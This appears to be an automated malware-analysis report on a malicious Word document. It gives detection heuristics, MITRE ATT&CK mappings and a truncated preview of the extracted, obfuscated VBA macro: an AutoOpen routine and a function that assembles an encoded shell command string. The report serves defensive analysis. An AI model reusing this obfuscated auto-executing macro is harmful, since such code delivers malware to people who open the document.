MALICIOUS
202
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
The sample is a malicious Office document containing a critical heuristic firing for a Shell() call within its VBA macros. The AutoOpen macro is present and attempts to execute obfuscated code. The presence of the Shell() call strongly suggests the macro is designed to download and execute a second-stage payload, a common technique for malware delivery.
Heuristics 6
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ClamAV: Doc.Malware.00536d-6699271-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Malware.00536d-6699271-0
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VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
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Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
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AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
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Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 87082 bytes |
SHA-256: 2340b43985fb9c445b8d82524f3500a060e94d72275cf9e52ed57cf160e77ac6 |
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Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "wstfmJw"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
Dim LkaHhw(2)
LkaHhw(0) = InStrRev(wvOdHGRR + sdzBGpZsCDFZbqSccHJzbL + GoqFFTVB, JdkhBGCr + nmMKwpYifXqSrCwwmEZ + moruF) + Left(kSuHUbjG + zTcVSqPJDFtGEKXKzS + knYwmwP, 426) + InStrRev(fHFGjUB + vzqqLctQIwSoihtqEQuhP + KIziDIz, jtwNTt + NtPrcSOwLwOBRafkSmFoV + HwkjW) + InStrRev(vUWvkiq + dwAYUOTiBIPMIqTKQNupl + zEjzk, FcrUcnt + CUCSiMCuOfTSPrORO + ROjGjOY)
LkaHhw(1) = InStrRev(RltsUjO + nhEWOPnjFkZbQlXlbfCdjiO + rnfdqj, avAQT + SdGpUIVwdwFlDzhOCvaHj + kwImUIsX) + Right(bYNQW + zubpzBHiFkjsuiXYHJ + MNtVMaUz, 617) + Right(HoUAnvBl + IoShDiszQZrGDjuaOIE + Oiaik, 561) + InStr(XlEZao + mFiHRQiFjOGLXuRSVEDIU + TUKCc, ibCWFjw + GAOzMAAzJWnrizPwNuVGWT + rhWiUUjz)
Dim FLWsC(1)
FLWsC(0) = InStrRev(JjHAiklG + inkAXoCiPRjLJYiJPXPtEp + AUhPWt, iNEiXUJ + ZdVzbQCzCNPtjKBOzAun + qDqzlv) + InStrRev(XiMnXZEr + qcUohtDSvZUiXkMzD + zXWBw, cJFoUwsF + zihcTRzVmzoINidwRju + qlTjK) + Left(SiqBY + jFTBcowRNjHOPIklalhz + cihGBqkj, 55) + InStrRev(zfRFKCTG + isJzBnDtwHzLAhQXwYL + mJkfPj, VnzmYIzq + JziATRwUDjEiTarOHoKlQbY + qYRjzt)
Dim tFOPFu(1)
tFOPFu(0) = InStr(jnRtVXrV + UuFWVcKvRilwfHRiIzvf + XRJsX, nGidXXkm + wVRvrmIiaqmjYOzKAWX + zpAHPkjs) + InStrRev(wKtPj + JHuBBFPcLmcbYiwBl + jtwjZc, wRizN + lwQurYtPzoVliuzpbA + AdLbOV)
toiMFARcmp (KeyString(pTdKE + zmtFII + 0 + 12 + 55 + nakur + FzTabBS) + qHlZdjk + AUvBlYOO + KeyString(JNMOfLO + drUhdIPA + 0 + 13 + 64 + XDpTGrKj + vMMjkw) + HNktI + ZoHKJwVSDkI + zblWNHa + vtjsdluD + UJjwQNf + HiPaDGvjb + isfjRWMQ + mqTjUOK + JiMjwI)
Dim rzMSYv(2)
rzMSYv(0) = Right(EwmDFk + IYBvYvbIKPYaIDJC + QNuEJ, 307) + InStrRev(EMYNGX + hRXDlOjqOuzviNzsK + ODdDDzqK, zCWsiAW + OOvVvvFRAIfPAqDTGQpfKHW + CDNbmKr)
rzMSYv(1) = Left(hiIzjB + HjCjpLaoiZjkOZUdmhsFIPk + aJknUOzm, 476) + Left(smmncS + TInURPYPitQFZqwlOVO + jBszvFcp, 453)
End Sub
Attribute VB_Name = "imoSXwAkH"
Function HNktI()
rqijNCoYlh = "d / / \ \\ \ \" + "/ /V:O/C" + """" + "set ]" + "@'=702a 2a07 0" + "27a 02a7 2"
nnTqK = "70a 702a 0a27" + " 07a2 72a0" + " 7a20 a072 " + "72a0 a702 0a27 a207 " + "0a27 72a0 2" + "a70}2a70}a"
Dim lpiKD(1)
lpiKD(0) = Right(jlPsq + JOBrHQDwGnvdnvaKszS + jSisS, 487) + InStr(zTXhrFjC + nbXIVOvURjMvrIplKjcYo + QCcpu, KiBfawQ + FPTnYzszrQwGjMMzs + XZdkMjS)
Dim lPwIKK(1)
lPwIKK(0) = InStrRev(cmopnNaY + oSALTiTLvUOzYciDzXLq + slCLUbi, jbhhV + LZjdOPMFUXVJXNkawRzJ + UmsBAMi) + InStr(LlKJMDWp + DNkmDTzuVtLQLCWLEHokV + REXWabtI, jApBjP + uzUwSRziCsOZLiPZX + SIvTKB) + Left(XsBWa + SmGVawPBvVbiTRTdjMDw + SUizNGoM, 782) + InStr(TCUUast + aDqFDlDzKPnwVIboohOpD + NwIGTK, ZPiYwb + jiApUjMscFiILNjYEoZq + jwszn)
Dim VNfXIU(2)
VNfXIU(0) = Right(kFjrDqk + zwOkSEastKnZPwvkb + ODaMnFmU, 662) + Right(tlVTHCJ + QawwRrJcvAdjDKGQFn + RHZcE, 930)
VNfXIU(1) = Left(aGpinFcu + KQnsDMinzwsOJjrrPFf + ZWqYv, 93) + InStrRev(VJcGY + NuQnthsjlXYlCiDlSjWJr + kXEjmr, iVpsUEri + XjwIqTwDGXrkZjdnzzjR + KAmihb)
jfYkr = "720{0a72ha" + "027c0a72t7a02a027aca" + "072}702a;270ak20" + "7aa270ae0a2"
ckpGlnMfTc = "7r7a20b702a;a027H2" + "70aj2a07Oa027$20a7 " + "70a2m2a07e27" + "a0ta027I27a0-207aea" + "027k27a0o270av0a2"
sbLMHawZSQ = "7n270aI207" + "a;27a0)70a2Ha720" + "j2a70O7a02$" + "7a02 20a7,072ar7"
HNktI = rqijNCoYlh + nnTqK + jfYkr + ckpGlnMfTc + sbLMHawZSQ
Dim jtDbwo(2)
jtDbwo(0) = InStrRev(afLhq + LLMFrkokjjkcsrObFBSoB + FHCRjv, TRpjChz + sMDAJtTTOQEsXUpdmTAo + YPGIM) + InStrRev(wzwpX + NSzPjXVaiFhsVSAswkddK + KItbVG, PUVkIZjw + DiBkdzEQXLjpnMNjSI + wFwfHPh) + InStrRev(IBHdSZi + EpaijibvMSRCTCifUwBjE + nfftnjm, IJQZT + TUAUFiCPuzaaCGErBwB + iGOvkmF) + Left(QiOEEV + wisjMVCmGUcvvQpwTG + pnDJUsS, 103)
jtDbwo(1) = InStrRev(YzXjzRl + wfkjbhQTOXmWwBDwhKUBl + kuORXN, zzEDcc + iqMwBAdCIZijzsEwVEW + fJwDw) + InStr(jdlqKZs + YlOPnciTFLXfiACTsB + JbpAznT, jNzTH + CickthEvRhKchFHEo + jjAfLoS)
Dim TYTbh(1)
TYTbh(0) = Left(iEAPnlP
... (truncated)
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